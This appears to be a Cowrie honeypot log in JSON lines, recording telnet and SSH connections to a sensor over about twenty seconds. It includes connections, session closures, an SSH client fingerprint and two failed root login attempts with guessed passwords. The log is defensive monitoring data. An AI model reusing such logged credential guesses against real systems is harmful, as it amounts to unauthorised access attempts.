{"eventid":"cowrie.session.closed","duration":30.488607168197632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:54.210104Z","src_ip":"51.15.157.40","session":"309ca4e592f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.895506858825684,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:54.372587Z","src_ip":"167.99.38.72","session":"575763689ed1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71383500099182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:54.805624Z","src_ip":"89.39.83.70","session":"d8518b38ee1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.547423124313354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:54.823729Z","src_ip":"51.15.157.40","session":"24c016a45629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":47340,"dst_ip":"159.203.135.109","dst_port":23,"session":"996b058f31d5","protocol":"telnet","message":"New connection: 157.15.20.138:47340 (159.203.135.109:23) [session: 996b058f31d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:54.902249Z"}
{"eventid":"cowrie.session.closed","duration":31.03833818435669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:55.615596Z","src_ip":"51.15.157.40","session":"ba40337d6428","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":54174,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c65abde04b","protocol":"telnet","message":"New connection: 109.224.242.7:54174 (10.17.0.5:23) [session: a2c65abde04b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:55.889258Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35044,"dst_ip":"159.203.135.109","dst_port":23,"session":"556b17a06806","protocol":"telnet","message":"New connection: 62.171.133.168:35044 (159.203.135.109:23) [session: 556b17a06806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:56.229384Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":35060,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cbffeed7070","protocol":"telnet","message":"New connection: 62.171.133.168:35060 (159.203.135.109:23) [session: 0cbffeed7070]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:56.695026Z"}
{"eventid":"cowrie.session.closed","duration":30.926323413848877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:57.077966Z","src_ip":"104.236.196.85","session":"cfc4af52c96b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34096,"dst_ip":"159.203.135.109","dst_port":23,"session":"69a945b33d61","protocol":"telnet","message":"New connection: 51.15.157.40:34096 (159.203.135.109:23) [session: 69a945b33d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:57.192773Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":44352,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb24ae496a46","protocol":"telnet","message":"New connection: 103.171.45.122:44352 (159.203.135.109:23) [session: cb24ae496a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:57.441426Z"}
{"eventid":"cowrie.session.closed","duration":32.07329034805298,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:57.606887Z","src_ip":"34.69.118.1","session":"f6851be6e1cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":33918,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c285bd77ca5","protocol":"telnet","message":"New connection: 34.69.118.1:33918 (159.203.135.109:23) [session: 6c285bd77ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:58.061716Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:58.465533Z","src_ip":"122.168.114.167","session":"d04691db6bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":44344,"dst_ip":"159.203.135.109","dst_port":23,"session":"f81f3df661b4","protocol":"telnet","message":"New connection: 103.171.45.122:44344 (159.203.135.109:23) [session: f81f3df661b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:58.699338Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":44360,"dst_ip":"159.203.135.109","dst_port":23,"session":"225791d9193a","protocol":"telnet","message":"New connection: 103.171.45.122:44360 (159.203.135.109:23) [session: 225791d9193a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:59.426789Z"}
{"eventid":"cowrie.session.closed","duration":30.614036083221436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:59.490990Z","src_ip":"51.15.157.40","session":"89520cef4841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51228,"dst_ip":"159.203.135.109","dst_port":23,"session":"51b0ae90d4e8","protocol":"telnet","message":"New connection: 157.15.20.138:51228 (159.203.135.109:23) [session: 51b0ae90d4e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:59.790760Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":49796,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fbf29b5e959","protocol":"telnet","message":"New connection: 108.61.224.215:49796 (159.203.135.109:23) [session: 8fbf29b5e959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:25:59.840454Z"}
{"eventid":"cowrie.session.closed","duration":30.61039662361145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:01.002854Z","src_ip":"62.171.133.168","session":"02cfe3bed956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.224.242.7","src_port":55904,"dst_ip":"10.17.0.5","dst_port":23,"session":"2267ea5f2b38","protocol":"telnet","message":"New connection: 109.224.242.7:55904 (10.17.0.5:23) [session: 2267ea5f2b38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:01.229331Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51244,"dst_ip":"159.203.135.109","dst_port":23,"session":"c89a3b6536f5","protocol":"telnet","message":"New connection: 157.15.20.138:51244 (159.203.135.109:23) [session: c89a3b6536f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:01.568041Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51246,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0588e241472","protocol":"telnet","message":"New connection: 157.15.20.138:51246 (159.203.135.109:23) [session: c0588e241472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:01.581142Z"}
{"eventid":"cowrie.session.closed","duration":"11.7","message":"Connection lost after 11.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:01.645488Z","src_ip":"122.168.114.167","session":"d04691db6bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51250,"dst_ip":"159.203.135.109","dst_port":23,"session":"622cc977db36","protocol":"telnet","message":"New connection: 157.15.20.138:51250 (159.203.135.109:23) [session: 622cc977db36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:01.813590Z"}
{"eventid":"cowrie.session.closed","duration":30.86603832244873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:01.977242Z","src_ip":"62.171.133.168","session":"1f5475ed8802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60266,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d14e4660124","protocol":"telnet","message":"New connection: 62.171.133.168:60266 (159.203.135.109:23) [session: 5d14e4660124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:02.447886Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48970,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5af52aeae66","protocol":"telnet","message":"New connection: 185.26.126.47:48970 (159.203.135.109:23) [session: b5af52aeae66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:02.969029Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51266,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4369985f1ce","protocol":"telnet","message":"New connection: 157.15.20.138:51266 (159.203.135.109:23) [session: d4369985f1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:03.072036Z"}
{"eventid":"cowrie.session.closed","duration":31.006742238998413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:03.146743Z","src_ip":"157.15.20.138","session":"99a8fc45cc57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60276,"dst_ip":"159.203.135.109","dst_port":23,"session":"93382e7d6f9b","protocol":"telnet","message":"New connection: 62.171.133.168:60276 (159.203.135.109:23) [session: 93382e7d6f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:03.211853Z"}
{"eventid":"cowrie.session.closed","duration":31.10556197166443,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:03.297639Z","src_ip":"157.15.20.138","session":"514808e9b061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918347597122192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:03.326387Z","src_ip":"51.15.157.40","session":"a04410dc4858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60288,"dst_ip":"159.203.135.109","dst_port":23,"session":"e90ad0a75813","protocol":"telnet","message":"New connection: 62.171.133.168:60288 (159.203.135.109:23) [session: e90ad0a75813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:03.852464Z"}
{"eventid":"cowrie.session.closed","duration":30.784584522247314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:04.055158Z","src_ip":"62.171.133.168","session":"d792cba2bd7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60292,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0aeb72064bd","protocol":"telnet","message":"New connection: 62.171.133.168:60292 (159.203.135.109:23) [session: d0aeb72064bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:04.930459Z"}
{"eventid":"cowrie.session.closed","duration":31.50151801109314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:04.936421Z","src_ip":"51.15.157.40","session":"386881446b99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653638124465942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:05.131598Z","src_ip":"51.15.157.40","session":"559f546b5b26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60302,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbbbac982346","protocol":"telnet","message":"New connection: 62.171.133.168:60302 (159.203.135.109:23) [session: cbbbac982346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:05.453334Z"}
{"eventid":"cowrie.session.closed","duration":31.388653993606567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:05.531700Z","src_ip":"103.171.45.122","session":"604d33048d83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.054980993270874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:06.125972Z","src_ip":"104.236.196.85","session":"98e2649aefd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064016580581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:06.164861Z","src_ip":"51.15.157.40","session":"fb03a0099909","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.223368167877197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:06.236349Z","src_ip":"103.171.45.122","session":"8a4532e4cf9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":60310,"dst_ip":"159.203.135.109","dst_port":23,"session":"40352a809181","protocol":"telnet","message":"New connection: 62.171.133.168:60310 (159.203.135.109:23) [session: 40352a809181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:06.520736Z"}
{"eventid":"cowrie.session.closed","duration":31.19631552696228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:07.242370Z","src_ip":"103.171.45.122","session":"d688138971ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.416820764541626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:07.606440Z","src_ip":"51.15.157.40","session":"440ca7737e76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38024,"dst_ip":"159.203.135.109","dst_port":23,"session":"41f94a62cc12","protocol":"telnet","message":"New connection: 157.15.20.138:38024 (159.203.135.109:23) [session: 41f94a62cc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:07.733613Z"}
{"eventid":"cowrie.session.closed","duration":30.875858783721924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:07.790179Z","src_ip":"51.15.157.40","session":"4e4f38975c37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.93426251411438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:07.972078Z","src_ip":"34.69.118.1","session":"73e655338fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56340,"dst_ip":"159.203.135.109","dst_port":23,"session":"1265f9919ce0","protocol":"telnet","message":"New connection: 103.171.45.122:56340 (159.203.135.109:23) [session: 1265f9919ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.007339Z"}
{"eventid":"cowrie.session.closed","duration":30.783390760421753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.086324Z","src_ip":"51.15.157.40","session":"00d820a19e34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":51280,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1533e16104d","protocol":"telnet","message":"New connection: 157.15.20.138:51280 (159.203.135.109:23) [session: b1533e16104d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.231433Z"}
{"eventid":"cowrie.session.closed","duration":30.616453647613525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.259416Z","src_ip":"103.171.45.122","session":"1905e2ec066e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":40390,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4940a8d5fa9","protocol":"telnet","message":"New connection: 51.15.157.40:40390 (159.203.135.109:23) [session: b4940a8d5fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.299049Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":41278,"dst_ip":"159.203.135.109","dst_port":23,"session":"66817e7c07f9","protocol":"telnet","message":"New connection: 51.15.157.40:41278 (159.203.135.109:23) [session: 66817e7c07f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.540646Z"}
{"eventid":"cowrie.session.closed","duration":32.076189279556274,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.580815Z","src_ip":"34.69.118.1","session":"2753af2ffdd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.465513229370117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:08.708886Z","src_ip":"51.15.157.40","session":"5e499b168dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50852,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ebea80a1763","protocol":"telnet","message":"New connection: 34.69.118.1:50852 (159.203.135.109:23) [session: 7ebea80a1763]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:09.132243Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38032,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed45c1b37137","protocol":"telnet","message":"New connection: 157.15.20.138:38032 (159.203.135.109:23) [session: ed45c1b37137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:09.557273Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":38042,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bdfc009accb","protocol":"telnet","message":"New connection: 157.15.20.138:38042 (159.203.135.109:23) [session: 4bdfc009accb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:09.673500Z"}
{"eventid":"cowrie.session.closed","duration":31.26044464111328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:09.778069Z","src_ip":"51.15.157.40","session":"53ab60634b00","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":50866,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d77e4f39d7d","protocol":"telnet","message":"New connection: 34.69.118.1:50866 (159.203.135.109:23) [session: 8d77e4f39d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:09.928744Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":59694,"dst_ip":"159.203.135.109","dst_port":23,"session":"65d195123e8b","protocol":"telnet","message":"New connection: 62.171.133.168:59694 (159.203.135.109:23) [session: 65d195123e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:09.971244Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":36450,"dst_ip":"159.203.135.109","dst_port":23,"session":"3afa98cbeacc","protocol":"telnet","message":"New connection: 108.61.224.215:36450 (159.203.135.109:23) [session: 3afa98cbeacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:10.730862Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":42940,"dst_ip":"159.203.135.109","dst_port":23,"session":"92aab87b5902","protocol":"telnet","message":"New connection: 104.236.196.85:42940 (159.203.135.109:23) [session: 92aab87b5902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:11.167954Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.163.156.190","src_port":36756,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c77ae9f4a69","protocol":"ssh","message":"New connection: 113.163.156.190:36756 (159.203.135.109:22) [session: 9c77ae9f4a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:11.615597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:11.620895Z","src_ip":"113.163.156.190","session":"9c77ae9f4a69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:11.870098Z","src_ip":"113.163.156.190","session":"9c77ae9f4a69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.224.215","src_port":36466,"dst_ip":"159.203.135.109","dst_port":23,"session":"10979c0215cd","protocol":"telnet","message":"New connection: 108.61.224.215:36466 (159.203.135.109:23) [session: 10979c0215cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:12.136900Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.133.168","src_port":59700,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6d3aaf8508e","protocol":"telnet","message":"New connection: 62.171.133.168:59700 (159.203.135.109:23) [session: f6d3aaf8508e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:12.679408Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"leo","message":"login attempt [root/leo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:12.896064Z","src_ip":"113.163.156.190","session":"9c77ae9f4a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.069934368133545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:12.971413Z","src_ip":"62.171.133.168","session":"fab7d74c3ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":56892,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe955b841617","protocol":"telnet","message":"New connection: 103.171.45.122:56892 (159.203.135.109:23) [session: fe955b841617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:14.028651Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:14.149367Z","src_ip":"113.163.156.190","session":"9c77ae9f4a69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.386180877685547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:26:14.234838Z","src_ip":"103.171.45.122","session":"1478acb8321f","protocol":"telnet"}
